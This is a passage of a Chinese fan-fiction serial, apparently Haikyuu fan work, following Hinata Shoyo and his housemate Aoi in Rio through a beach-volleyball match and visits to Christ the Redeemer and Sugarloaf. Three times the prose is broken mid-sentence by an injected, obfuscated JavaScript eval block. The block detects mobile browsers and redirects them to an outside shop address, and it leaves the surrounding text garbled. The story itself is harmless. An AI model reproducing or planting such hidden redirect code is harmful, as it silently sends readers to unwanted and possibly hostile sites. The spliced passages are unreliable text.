葵暗忖，真是费解啊……明明单独挑出来都能读对，放到句子里怎么就变成了奇怪的样子。 她缓缓合上书页，心想，大概有些人在语言方面就是比较迟钝吧。 这么看起来，要还清恩情任重道远啊…… “翔阳，”她慢吞吞地开口，“你在跟巴西人讨论重要、严肃的事情的时候，最好还是先写在纸上吧。” 说完，她又敏感地怕日向多想，连忙补充道：“不是说你说得不好的意思，而是，毕竟是重要的事情，还是表达清楚一点比较好，避免误解。” “葵的建议很好诶！我确实目前还说不出流畅完整的句子，”橘子头看起来完全没有多想，只是苦恼地抓了抓自己蓬松的头发，想起了什么似的，眼睛一亮就看了过来，“葵可以今天就帮我写几句吗？我想和我的搭档说：「我想尝试一下逆风的时候多发跳发大力球和侧旋球」，「他扣球技术好，希望他能多接发球组织进攻」，「我会以他为主」。嗯，就这三句话！” 说完，日向就“噔噔噔”地跑回房间，取了个本子出来，摆开在葵的面前，期待地看着她。 葵只能默默掏出手机：“我来谷歌翻译一下。” “欸？”日向的表情呆滞，疑惑地眨了两下眼睛看她，不明白她葡语这么好，为什么还需要翻译。 葵叹了口气：“我真的，一点也不懂沙滩排球啊，这些专业名词，就算勉强知道该怎么说，也无法和具体的动作对应上……” “这个好办！”日向听到之后反而更兴奋了，“让我来教葵排球好了，正好，葵教我葡语，我来教葵排球。” “不，”葵果断地拒绝了，但是看着他充满干劲燃烧着火焰的双眼，突然感到了为难，“这个……” 该怎么说呢……难道要说她对排球并不是很感兴趣，还是说教他葡语只是为了不亏欠他太多罢了……好像哪句话都很伤人…… 葵认命地闭上眼睛：“好吧，就简单地教一教，能看懂比赛的程度就行。” 就满足他吧，实在是很难拒绝小狗亮晶晶的眼神啊！葵啊葵，你看看你这个没出息的样子，这样下去，你来我往的，什么时候才能到头！葵在心里痛斥自己。 “那不如葵这周末就来看我们的比赛吧！” “不了吧……” “只是入围阶段的比赛，节奏不会很快，也不会看不懂的，而且……我队友的家人说是都会来给他加油，只有我……及川学长白天一直要训练……没有人……”脑袋又垂下去了，委屈巴巴的。 “我会去的。” 葵虚弱地开口，自我催眠，啊，这一定也是为了还债。 8. 第 8 章 和及川的聚餐又约在了那家餐厅，及川把每道菜都尝了一口，突然眼前一亮，嘴里鼓鼓囊囊地冲他们竖起了大拇指。 日向也骄傲地回以大拇指：“我就说葵很厉害吧，她推荐的餐厅健康又好吃！” 一抬眼看见店里为了奥运造势的国旗装饰，日向又问：“大王，你最近有看影山的比赛吗？” 及川突然黑了脸，向后倒在椅子上，撇着嘴说：“没有。” 日向没有揭穿他，只是通情达理地说：“这样啊……” 他又想起什么似的，缓缓地开口：“总感觉影山有可能会入选奥运会名单呢。” “切，入选就入选呗。”及川很响亮地表示不满。 葵竖起耳朵听他们聊天，又吃了一口，一边细细地咀嚼着嘴里的东西，一边想，日向在国内的时候，究竟是什么水平的运动员呢？为什么会来巴西进修沙滩排球呢？ 她悄悄在网上搜过日向的名字，除了出现在一些什么春高的比赛报道，还有他说的那个乌野高中的名单里，没有别的什么信息。 似乎是相当籍籍无名的人呢，不过也才刚高中毕业，所以才决定来巴西进修沙排的吗？难道是因为沙排运动员的资格更宽松？ 对排球一窍不通的葵这么猜测道。 但是他们曾经的队友应该很厉害，那个叫影山的人，也是刚毕业的年纪，竟然有机会入选国家队，似乎翔阳偶尔还会跟他打电话，很幼稚地对比着两个人最近胜利的局数。 “小鸟游在巴西待了多久了？”察觉到她的沉默，及川主动递话给她。 “初中就来巴西了，不过之前不在里约，是去年开学才搬过来的 。” “有什么推荐的景点吗？我趁着这几天，在没有训练的时候赶紧去逛一逛。” “基督山无论如何都得去一趟吧，还有科帕卡巴纳和伊帕内玛海滩，虽然我更喜欢去昨天晚上我们相遇的那个弗拉门戈海滩，更清净一点。”葵保险地推荐了几个不出错的选项。 “可是……这两个海滩为什么出名呢？”日向好奇地扭头看过来。 “科帕卡巴纳是因为形状，”葵用左手在桌子上画了个弯弯的弧线，“而伊帕内玛是因为那首很有名的爵士乐《伊帕内玛的女孩》。” “欸，还有这种事情，我真的对爵士乐一窍不通呢。” “你们肯定听到过的，在里约的大街小巷，包括各个海滩边，还有那些街头艺人，经常会演奏这首歌。” 及川用手掌撑着下巴，歪着头想了想：“好像是感觉有段旋律很熟悉，在哪都能听到。” 在及川起身去洗手间的时候，日向又带着那副有话要说的表情，眼睛亮晶晶地看了过来。 “怎么了？”葵耐心地看过去，深感自己现在已经被精力旺盛的高需求小狗完全改造成了连自己都觉得陌生的样子。 “好想和葵一起出去玩……里约……我还什么地方都没来得及去呢。”橘子小狗的眼睛充满信赖地看着她，好像他们还有很长很长的未来。 “……好啊。” 葵已经分不清自己总是在客套还是在说真心话了。 “走吧，按照约定，我们去打球。”回到座位的及川摆出一个阴险又迫不及待的表情。 葵招手叫来服务员，习惯性地要AA，及川看见她的手势，迅速地掏出了自己的卡：“嘛，这次就我来请你们这两个还没工作的小鬼头吧，下次来的时候，记得要请我吃大餐。” 看起来轻浮的男子却露出了一个可靠的笑容。 葵晚上要上课，拒绝了去看他们打球的邀请，但是周末的时候，她却按时出现在了沙滩上，一眼就看见日向兴奋地朝她挥手。 葵抿着嘴，像是在进行什么学术研究一般，严肃地看着眼前的比赛。 ……依然看不懂啊。 在她的眼中，这四个人把球抛来抛去，就像什么长条条的大狗们在一起做球类游戏，日向则是一只误入其中的小型犬，但是胜在一个灵活敏捷，像一道橘色的小闪电。 节奏比起平时晚上在海滩边打的野球要快上很多，更加大了她理解局势的难度。 虽然来看比赛之前接受了翔阳的紧急培训—— “‘咚’的这种是下手发球，‘嗙’的这种是上手发球，‘哐’的这种是跳发球，‘啪’的这种是飘球……” 葵在他丰富多样的拟声词和眼花缭乱的动作中晕头转向。 最后日向一锤定音：“排球运动很简单的，不管是沙滩排球还是室内排球，只要努力确保球不在自己这方落地就行了！” 说的简单，但是葵依然看不懂——为什么有人刚拿到球就算犯规了，为什么有的时候一个人可以连续碰两次球，有的时候连续碰两次球就算犯规…… 不过，记分牌上的数字她还是能读懂的，让她苦恼的是，日向他们队连输两局，最后记分牌定格在了21：13。 她远远地看见日向的队友简单地拍拍肩鼓励他，就离开去找自己的家人了。 日向一个人孤零零地站着，目光茫然地扫了一圈，在沙滩上精准地找到了她，然后就这么目不转睛，直勾勾地看着。 队友也走了，一个人站在一堆身材高大、深色皮肤的巴西人中间，日向翔阳看起来小小一只，随便一个人路过都能把他整个挡住，格外可怜。 小鸟游葵在心中吐槽着“为什么要露出这幅‘我只有你了’的表情啊！”，还是走了过去。 刚刚比完赛，日向翔阳的气息依然不稳，大口大口地喘着粗气，汗滴从发梢掉落下来，额角流下来的汗挂在尖尖的下巴上，也不擦，就这么用湿漉漉的眼神看着她，一句话也说不出来，只有胸膛在剧烈地起伏。 葵平静地建议：“去海边坐坐？” 这片海滩被围了起来，专门用于比赛，没什么人，找了块地方坐下，附近就他们两个，身后不时传来还在比赛的选手激昂的叫声。 刚一坐下，葵就向日向道歉：“不好意思啊，说要来给你加油，最后也没好意思喊出来。” 她基本就是端端正正地在场边站了一整场比赛的岗，最激动的时候，也就是在日向得分时，悄悄捏紧了拳头。 “没关系啦，葵能来我已经很高兴了……在很多个感觉自己跑不动了，跳不起来，急着想要得分脑子有点混乱的时候，只要抬头看见葵在旁边安安静静的眼神，我的心，不知怎么的，也镇定下来了。” 日向说着抚上自己心脏的位置，这里还“扑通扑通”地大力跳着，不知道是因为刚刚的比赛，还是因为这段真情流露的表白。 可是葵没有回复，连个“哦”和“嗯”什么的都没有，不知道是不是故意的，日向抬头去看她，发现她在非常专注地看着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716684|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的海，抿紧了嘴一言不发，让他觉得很遥远。 葵是走神了没听见吗？还是故意装作没听见？可恶，刚刚说的时候害羞地低下了头，没有观察她当时的表情。 日向又低头看自己的手，上面沾满了沙粒，怎么拍都拍不干净，今天的发挥很不好，完全想不到这只右手之前竟然还能扣出过那么多干脆利落的球，为队伍得分。 正低头看的时候，一阵风吹来，把他的帽子吹掉了。 有只手捡起帽子，拍了拍上面的沙子，递给了他，他抬头，看见是葵。 “葵……”日向翔阳露出来的头发被帽子压得扁扁的，像耷拉下去的耳朵。 “没事的，这只是你的第一场比赛而已……”葵终于还是笨拙地安慰了他，按捺住自己想摸摸他头的手，“你们打得很精彩，中间有一回合，真的就完全是靠着你努力让球不落地，一次次地救球，才终于赢下了这一分！” 葵搜肠刮肚地想着词，可是眼前的日向把帽子按回头上，再抬起脸的时候，已经带上了灿烂的笑容。 “谢谢你，葵！” 日向“腾”地站了起来，面朝着大海，双手叉腰，豪放地说：“为了庆祝我终于打了第一场沙滩排球的比赛，明天就一起去基督山观光吧！” 葵：“欸？！” 搞什么啊！这个家伙也恢复得太快了吧。 再说了——“你竟然还有时间出门观光吗？” 葵这几天和日向朝夕相处，深深敬佩于他的超人作息。 上课、练习、健身、打工、空余时间要么去打沙滩排球，要么去打室内排球，尤其是快要比赛的这两天，忙得基本不见人影，到目前为止的葡语课也就是见缝插针地教他点东西而已。 但是每日三餐，都按时做好，和葵一起吃，像是什么必不可少的仪式，而且再忙也没熬过夜。 “当然有啊，”日向理所当然地说，“如果每天都紧绷的话，肌肉也会疲倦的，周末就是需要好好休息，前两天听了葵的介绍，又看见了及川学长后来拍的照片，现在也很想出去玩呢。” 葵想，葡语教了，比赛也看了，收留她的恩情，慢慢的也该还干净了，就该慢慢淡出他的生活才是，怎么能越这样陷越深呢。 可是海风吹过来，每一阵都像在温柔地托着她，对她耳语：“答应他……答应他……答应他……” 葵在心里加加减减地算账，得出结论，里约的房租太贵了，为了不浪费钱，还是待完这个月好了，在此之前，就努力好好相处吧。 她说：“好啊。” “耶！”日向又变回了活力小狗，在沙滩上开心得蹦了起来，“我们现在先回家吃饭，然后我下午就出去打工！” 回家的路上，他们路过了一群站在街上演奏乐器的小孩。 “是什么活动吗？”日向好奇地回过头去，看了又看。 “是为了狂欢节在排练。” “欸？可是离狂欢节不是还有一个月吗？” “狂欢节可是巴西最重要的节日之一，这群小孩子从去年就开始每周末凑一起排练，我已经看见过好多次了，是因为翔阳刚来里约，所以才没怎么见到吧。” “狂欢节啊——”翔阳拖长了调子，不知道又在快乐地想象着什么。 葵垂下眼睛，狂欢节的时候，她应该就已经离开了吧。 9. 第 9 章 日向对于终于可以出门观光游览里约这件事情相当热情，晚上睡觉前还一直拿着手机在翻攻略。 “葵！原来有条山路是可以直接爬上基督山的诶！”日向翔阳像是自己刚刚在里约发现了新大陆一样惊喜。 “不行，”葵干脆地拒绝，“就今年开始到现在，光是新闻报道出来的，就已经有几十个人在这条路上被抢劫了，我们不赶时间，可以坐火车上去。” “里约的治安……果然很危险呢，不过葵是做什么事情前都想得很周到的类型。” “是这样没错。” “来巴西前也做了详尽的攻略吗？” “来巴西前——”小鸟游葵猛地意识到日向翔阳在锲而不舍地套自己的话，住了嘴，马上反击他，“翔阳是很执着的类型呢。” 日向翔阳像是完全没听出来她的自我防御似的，惊奇地看向了葵：“欸，有这么明显吗？” 葵又要怀疑自己多想了，因为日向的脸上没有任何心虚的迹象，她也不能坦白自己刚刚这么评价他，是在阴阳怪气他似乎总是对于她来巴西的原因很感兴趣，所以只好把话题岔开：“嗯，感觉是下定决心做什么事情，就会想尽一切办法做到的那种人。” 日向翔阳像发现了新目标的小猫一样，在床上爬了几步，凑到小鸟游的眼前：“那葵会感觉有压力吗？” 你在暗示什么我根本听不懂我哪里有压力我一点压力都没有我下个月就会在越陷越深之前及时止损跑路了。葵快速地在心里吐槽。 “……大概是不会的吧。” 说出口的话却很委婉。 “太好了！”日向傻笑着倒回了自己的被窝里，“我睡了，明天就交给葵了！” 葵心想，不，他好像误解了自己的意思…… “我也睡了。” 葵重重地倒回自己的枕头上，灯“咔哒”一声被翔阳伸手关上，过了一会儿，她在黑暗中蓦地睁开了眼睛，心情复杂地发现—— 怎么好像不知不觉间，她已经很习惯跟着翔阳的呼吸调整，与他同频，然后慢慢地进入梦乡。 连她以前睡前例行的每日反省，然后把今天自己和别人的所言所行拉出来反复鞭笞和加工理解，同时生产无数对未来的焦虑……这些行为，都因为入睡得太快，而在不知不觉间跳过了。 原来她也会在这些地方心动啊。 并不只是因为翔阳坦率的示好和赤诚的爱让她感动，而是飘飘荡荡随波逐流的她，会被像太阳每天都按照自己的节奏东升西落那样，稳定又坚定的日向翔阳所吸引。 葵合上已经有些湿润的睫毛，在向来容易感伤的夜晚自我厌弃地想，她为什么会是这个样子呢。 这么害怕会越过安全距离的关系，连抓住幸福的能力和勇气都没有。 * 前一天晚上叫嚷着“都交给葵了”的人第二天自己早早地起床做好了早餐，和到了山顶之后可以吃的三明治便当。 又是因为早起而精神恍惚的葵，无意识地咬着叉子，好像看见了一只出门前会自己把绳子叼过来摇尾巴的小狗。 即使他们早早地到了，但是基督山作为里约乃至整个巴西最热门的景点，还是排了好一会儿队。 好不容易坐上的小火车在树林中穿行，往山上爬升，葵平静地凝视着窗外并不算陌生的风景，竟然在想，要是这辆火车一直开下去，没有终点就好了。 “好多人啊！”好像永远没有负面情绪的日向翔阳，只是眼睛发亮地看着密密麻麻涌动的人群。 他唯一露出了一点为难的神情是捧着手机看葵给他拍的照片的时候，发现为了能拍全双臂平举、高大矗立的基督雕像，底下的自己几乎混在了挤挤攘攘的人群之中，连向来具有辨识度的橙色头发，也被旅客们花花绿绿，千奇百怪的装扮给打败了。 “唔……”找了个隔得远了些，没什么人的一块空地，橘子头上上下下左左右右地看着照片，又举起手机重新取景对比，像是很想再拍一张的样子。 “我已经尽量蹲得很低了……”葵小声地为自己的拍照技术辩解。 何止，她几乎都已经要趴到地上了，但是客观条件所限，很难让日向从这么多人中凸显出来。 “不是葵的问题！” 日向正蹲在地上，用镜头对准基督像取景，听到葵的话，扭过头来，认真地反驳她。 葵低头看了一眼，他的镜头抬得很高，取景框里只剩下了雕像和蓝天。 他似乎很满意这个角度，倒退了一步，示意葵也蹲下来，他严肃又郑重地把手机以原封不动的角度交到了葵的手上。 日向理所当然地说：“是因为刚刚我的位置不够好，所以才没拍好，现在葵只需要蹲在这里，一看见我出现在镜头里，就赶紧按快门就行了。” “欸？”葵看了下屏幕里的雕像，又抬头看了一眼现实的场景，对比了一下，感觉能拍到日向出现在镜头里是个几乎不可能的任务。 难道他想跳起来合影吗？这未免也太高了，起码得能飞起来吧！ 可是日向已经把背包放下，带着自信的笑容，后退到很远的地方，冲她高高地挥了挥手。 “葵，看好了啊！” 随着一声清脆的呐喊，葵不受控制地从手机中抬起头来，看向猛地往她这个方向提速冲刺的少年。 大跨了几步，日向的身体前倾，双手大幅度后摆，伸展到了一个几乎不可能的角度，双脚同时用力蹬地起跳—— 停滞在空中的，是一个舒展的姿势，他的双腿后踢，让身体仿佛一张弓，饱满地张开，t恤和短裤的下沿被风吹起，露出来的每一块紧绷的肌肉都蓄蕴着巨大的能量。 日向的脸上带着灿烂的笑容，右手高举在空中，摆出“耶”的手势，轮廓都被镀上了一层亮边。 像太阳一样耀眼。 葵机械地按着快门，呆滞地想，他真的会飞。 好轻盈，好自由。 落地之后，日向借着惯性，三步并作两步，跑到了葵的身边，带过来一阵清爽的风：“嘿嘿，怎么样？” 葵咽下悸动的心，把手机递给他，无奈地说：“挡住了。” 由于距离的问题，日向把后面的雕像挡了个严严实实，照片里只有他蓝天下跃起滞空的身影，不但夺走了葵的全部目光，也夺走了镜头。 日向举着手机石化了，一副大受打击的样子：“我还专门计划好了角度和高度……竟然忘了计算距离……” 葵终于伸出手，忍不住薅了薅他沮丧的乱毛：“我们去还是去台阶那里等着吧，总有一个人比较少的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716685|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空隙，可以拍出好看的照片的。” “好！”翔阳把手机按在胸前，红着脸扭捏地看向她，得寸进尺，“我还想和葵一起合影。” “这个不行。” “那我也帮葵拍照！” “不要。” “欸，为什么？” “不行就是不行，我不喜欢拍照。” “可是……出来玩的时候，总会需要一些照片，发给家人和朋友吧。”日向小声地嘟囔着。 “没有这种需求，也不会有人感兴趣的，说不定收到了照片反而会感觉很麻烦，还要想该怎么捧场，过于浮夸了会显得虚情假意，平静了又被觉得是不是在糊弄敷衍。” 日向苦着脸沉默了一会儿，像是不太理解这种想法，又不知道该怎么反驳，但是他很快振作了起来：“那葵可以发给我！” “欸？” “我不会觉得有压力哦，会用饱满的热情，绝对不糊弄地回复葵的每一条信息！” “问题根本不在这里吧……”葵无力地吐槽，“我的生活根本就没有什么好分享的……” “只要是和葵有关的，我都很感兴趣。” 日向侧过头来，专注地看着她，琥珀色的瞳孔清亮得近乎透明，可以直接望进眼底。 他又认真地强调了一遍：“只要是和葵有关的，今天做了什么事，吃了什么东西，几点起床，几点睡觉，再琐屑的事情，我都很感兴趣。” 说完，依然执拗地盯着葵看，一副不等到她的反应誓不罢休的样子。 葵顿住了。 这就是小狗表达好感的方式吗，坦坦荡荡，光明磊落，没有什么欲擒故纵和迂回拉扯，就只是用期待的眼神捧出一颗真心给你看。 但是又不像巴西人一样，把“爱”呀，“宝贝”呀，“亲爱的”呀，轻轻松松地挂在嘴边，只说“看见葵安静的眼神就觉得自己也镇定下来了”，只说“对葵的一切都很感兴趣”，笨拙地、羞赧地，爱意太灼热自己也不敢触碰似的，说着自己也糊里糊涂，不知道为什么会想这么说，为什么就这样说出口了的话。 偏偏……这次隔得这么近，这样子盯着她，等待着一个回复，无论如何也无法装作没听见了。 葵在如此的视线压力下爆发出了前所未有的高超闪避技巧：“可是……我们现在不是住在一起吗？” “欸？”日向变成了呆滞的豆豆眼。 “我们现在就住在一起啊，我几点睡觉，几点起床，吃了什么，翔阳都知道得一清二楚，甚至每天的饭不就是翔阳做的嘛。”葵理所当然地说着，把日向像是在表白一样的话硬生生地按照字面意义理解成了“对她的日常生活很感兴趣”。 “诶诶？好，好像是这样没错。”日向呆呆地被带偏了思绪，不知道脑补了什么，脸越来越红。 他终于移开了灼热的视线，把头扭了回去，自己忍不住“嘿嘿”笑了两声，又小声嘟囔着：“是这样的诶……” 他眨了眨眼睛，后知后觉地，不住地抬眼往葵这边瞟，四周冒起了幸福的粉色小泡泡和花朵。 日向的思绪已经不知道偏到哪里去了，他突然握紧拳头，自己给自己鼓劲似的，振奋地说出：“不能只是做健康清淡、营养均衡的食物，我要学习更多的菜谱，给葵做好吃的！” 10. 第 10 章 就这么聊着天，经过耐心的等待，终于拍到了让两个人都觉得满意的照片。 日向背着双肩包，学着雕像的姿势展开双臂，在终于空旷了一点的台阶上，摆出了这个景点最经典的合影姿势。 有很多朋友的开朗小狗立马发到了他的聊天群里。 顺便他一眼就扫到了刚刚群里的聊天记录，日向惊讶地念了出来：“欸，影山真的入选了国家队。” “会不甘心吗？”葵好奇地看向他，按照自己的思维推测道。 出乎她的意料，日向看起来只是短暂地不甘心了一下，然后眼神马上又变得坚定起来：“不！我还需要更加努力！！” 葵惊讶地又仔细观察了他一会，发现日向翔阳干净的眼神里找不出一丝阴霾，只有向上的斗志。 这个人是没有一点负面情绪吗？明明连太阳都是会有太阳黑子的吧！ “虽然现在稍微落后了，但是，”翔阳微微侧过头，睁大了他猫一样的眼睛，瞳孔微缩，抬起下巴，语气也很笃定，“最后赢的一定是我。” “……祝你成功。” 葵默默收回视线，从这番宣言中又感受出了一些别的意味。 ……这种认定了一个目标就不放弃，并且坚定地认为自己能够成功，完全不会摇摆或者自我怀疑的心态，怎么说呢……确实很强大……但是从某种意义上来说，也让人觉得挺可怕的…… 时间还早，葵和翔阳找了个没人的阴凉地方坐下，从背包里拿出三明治来解决午餐。 “唔！”葵咬了一口，吃惊地瞪大了眼睛，观察起了手中三明治的横截面。 吃之前没仔细看，还以为里面夹的是普通的炒蛋，没想到是先把水煮蛋的蛋黄碾碎，加入蛋黄酱，然后再和切碎成小块的蛋白混合在一起的那种日式三明治。 蛋黄醇厚，蛋白Q弹，面包咀嚼出清新的麦香，在嘴里留下让人幸福的甜味，是记忆里熟悉却又很久没有尝过的味道。 “喜欢吗？”观察着葵的表情，日向露出了自豪的笑容，“这里还有金枪鱼和照烧鸡腿味的，都可以尝一尝，我还做了一盒沙拉，健康又解腻……” 橙色毛茸茸的头低了下去，在几个便当盒里翻找着，便当盒都是用最传统的方式，以一整块布裹在一起，包扎打结，现在这块布摊开在日向的腿上。 葵敏锐地发现他包便当盒的布上面印满了可爱的小猫咪，忍不住勾起了嘴角。 “欸？！”察觉到葵意味深长的目光，日向突然慌了神，红着脸手忙脚乱地试图用身体挡住这块有点过于可爱和幼稚的便当布，“这是我妹妹的啦！出国的时候就顺手带上了。” “很可爱呀，”葵又咬了一口三明治，细细品尝着久违的美味，心情非常不错，“翔阳有个妹妹？” “嗯，叫日向夏，葵呢？” “是家里的独生女。” “欸，那这么小就来巴西，很不舍吧？” “唔唔。”葵嘴里塞满了三明治，只是发出含糊的声音。 终于吞下了，她也只是感慨地说：“翔阳早早地起床，真的做了很充足的准备呢。” “是啦，”橘子小狗快乐地捧着三明治，忙着观察喜欢的人的反应，自己都还没来得及吃上一口，“因为想和葵一起留下美好的回忆。” “多亏了翔阳，现在天色还很早，我们又吃过了午饭，感觉再休息一会，还可以去里约的另外一个著名景点逛逛，那里姑且算是我在里约最喜欢的地方之一了。” 听着这句话，翔阳呆呆地看着葵，眼睛越睁越大，然后慢慢眯了起来，露出了安详又幸福的笑容。 “啊——” 他像小动物一样，发出懒洋洋无意义的幸福声音，又猛地回过神来，才张大嘴咬了一口三明治，快乐得连咀嚼的时候都在偷笑。 * 葵带翔阳来到的另一个景点依然是山，叫做糖面包山。 这座山的外形圆润，像是插在地上的一块大面包，也就因此得名，他们坐着摇摇晃晃的缆车上山，这里的空间大上了不少，游客虽然也很多，但也留下了足够活动的空间。 翔阳和葵可以两个人一起悠闲地趴在栏杆上，看着山下的风景，视野里面有山、有海，还有密密麻麻的高楼，葵伸手指给他看：“这边是海湾，这一块是里约最繁华的区域，这座山的背面呢，是贫民窟，你千万不要单独一个人去那个地方。” “很危险吗？”翔阳好奇地仰起脸问她。 “嗯……倒也不是说去了就会被迷晕了拖走卖掉或者杀掉的那种程度，贫民窟里也住着很多贫穷但是善良热情本分的人，而且现在还有专门游览贫民窟的旅游项目……但是……总归不是那么安全的，有毒枭的势力，政府也不怎么管那块位置，所以最好还是不要接近为好。” “哦……”翔阳懵懵地点头，对于这块区域的混乱程度没什么实感，很快又好奇起了别的东西，“葵为什么喜欢这里呢？” 葵依然像个导游一样，指着远方：“你看，那边是海滩。” 从这个高度看过去，沙滩上只能隐约看见一些密密麻麻的黑点。 葵又转了个方向，指着远处的山头：“你看，那个就是我们刚刚去过的基督山。” 隔得这么远，基督像也变成了一个小小的十字，刚刚才亲身见识过那么多挤挤攘攘的游客，现在是一点也看不见了。 葵像是在自言自语，又像是在解答日向刚刚的疑惑：“我喜欢这种距离感。” “欸？！”狗脑又开始过载了，天然对人亲昵的小狗看起来并不理解这种想法。 “我原来不是生活在圣保罗嘛，说起来，其实圣保罗的大学比里约好，工作的机会也多，但是毕业前来里约玩了一趟，在这座山上看了一会儿风景，觉得自己果然还是更喜欢这里。” 游客的喧嚣都远了，少女的声音清晰地飘扬在风里。 “在里约这种地方，更能感觉到，每个人都像游客一样，今天来，过几天走，待在这里的时候很愉快，留下了美好的回忆就够了，也没有人会关注你在做什么，不会拿着放大镜看你的一言一行一举一动，同样也不需要这样去关注别人，毕竟对于彼此而言都只是过客嘛，就轻松了不少。” 夕阳已经收尽了余晖，把视野里广阔的风景都染上了橙色，但是也让葵的表情陷在了阴影里，被风吹起的长发像是一阵青色朦胧的雾。 日向模糊地感受到了一阵巨大的恐慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716686|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不知道是来自葵刚刚说的话，还是现在这惨淡的氛围感。 就像人无法挽留夕阳落下一般，他要怎么才能留住一掠翅就能飞出他视野的机敏小鸟呢？ ……可是，他好想和葵永远地在一起，想知道她什么时候起床，什么时候睡觉，给她做饭，和她一起吃，早上出门的时候听她说“早点回来”，晚上对她说“欢迎回家”。 恐慌驱使着他张嘴，想要说点什么，比如像他一直以来的那样，更急切地剖白自己的心意，更热忱地表明自己的好感，更努力地展现自己的魅力……他又隐隐觉得，这些都还不够。 还需要一些更有力度的什么东西，这好像和追求排球不一样，不是类似于“升级”的数值累积，锻炼得更高、更快、更强就可以看得见成果，追求喜欢的人似乎是一件更复杂和需要技巧的事情。 “葵，我——” “哎呀，天都黑了，得赶紧下山回家。” 反而是葵主动打断了他的话。 她若无其事地起身，冲他笑了笑，在昏暗的落日余晖中，连笑容的边缘都很模糊，嘴角隐没在阴影里。 是哪种笑呢？亲昵的笑？温和的笑？客套的笑？看不太清楚。 翔阳失了神，脑子里面乱糟糟的，亦步亦趋地紧紧跟在葵的后面，像是稍微慢了一步葵就要跑掉。 葵暗道不好，今天不该多事的，只是因为三明治过于好吃，印满小猫的布又过于可爱，就忍不住为他也做点什么，又想让日向做上一点心理准备，忘了日向其实也敏锐得吓人。 明明不久前还高兴地冒着粉色泡泡和小花呢。 “……葵，接下来有什么打算？”翔阳轻轻地，小心翼翼地问她。 葵看起来云淡风轻，她含混地回答：“接下来，就努力找一找合适的工作吧。” “哦……”小狗心里的想法弯弯绕绕，问出来的问题变得呆呆的，笨拙地绕着他真正想问的东西试探，“葵会找在家附近的工作吗？” “……大概会的吧，现在住的那边离学校也近，之后不管是上班还是上学都挺方便，当然，如果找不到附近的工作，也是没办法的事情，毕竟还是先想办法养活自己比较重要。” “如果工作了的话，还有时间一起吃饭吗？” “……这个也不是我现在能决定的吧。”葵小声地嘟囔着，被翔阳笨拙又藏不住真心的直白试探戳得有些莫名难受。 又出现了！这种好像要弃养小狗一样的负罪感。 “也是哦……总而言之，希望葵能尽快顺顺利利找到心仪的工作！”日向扬起一个明媚的笑容，真诚地给予她美好的祝愿。 被这耀眼的笑容照着，葵在心里嘀咕，自己刚刚是不是又想多了，日向的反应怎么看都很正常，还是那只干干净净、积极向上、没有一点阴暗面的阳光小狗嘛。 她继续尽职地当着一个好导游，领着翔阳去坐缆车下山，没有注意到身后的少年抬眸，目不转睛地注视着她的背影，简直满心满眼都是她，依恋得像个情窦初开、一分一秒都舍不得把目光从喜欢的人身上挪开的纯情小狗—— 可是，他露出的却是猫科动物般的，天然野性的，盯上了猎物时那种直勾勾的专注眼神。 11. 第 11 章 在这么一个短暂又美好的周末过去之后，大家的生活又步回正轨。 看起来有点轻浮的及川学长也结束集训离开里约了，日向翔阳继续四处奔波忙碌，小鸟游葵开始大范围地投放简历。 虽然这些简历大多石沉大海，偶尔有那么一两个获得面试机会的，也就是在HR简单地了解完一些基础信息之后就再也没有下文。 葵无奈地想，毕竟她是外国人，又还没有拿到大学文凭，别人看不上她也正常。 只是被拒绝多了，难免闷闷不乐起来，偏偏这天晚上放学回家，听见客厅有人走动，出门一看，发现是连向来晚出晚归的佩德罗都坐在客厅，戴着那副仿佛已经长在他身上的耳机听音乐了，日向翔阳还是没有回来。 葵又回房间坐了一会，忍不住发了条信息给翔阳，等了没到五分钟，没有回复，她还是按捺不住，拿起手机给日向打了个电话。 “喂？”电话倒是很快接通了，从听筒里传来了日向清晰的声音。 葵皱起眉头：“发生什么事了吗？这么晚了，你怎么还没回来……” “嗯，”日向的声音听起来有些茫然，又有些委屈，“……送外卖迷路了……我不知道自己现在在哪里……” “在哪里？找不到回来的路了吗？地图也导航不了吗？”葵下意识地坐直了身子，“你描述一下周围的环境，或者有没有什么明显的标志，我来帮你看看。” 对面却陷入了苦恼的沉默之中，过了半天，才只是小声地说：“手机地图导航显示……这里没有路啊，全是密密麻麻几乎叠在一起的房子，我不知道要怎么走回到旁边的大路上。” 葵心里涌上一种不妙的预感，语气也不由地有些着急：“你说下你是怎么走过去的，我想想办法。” 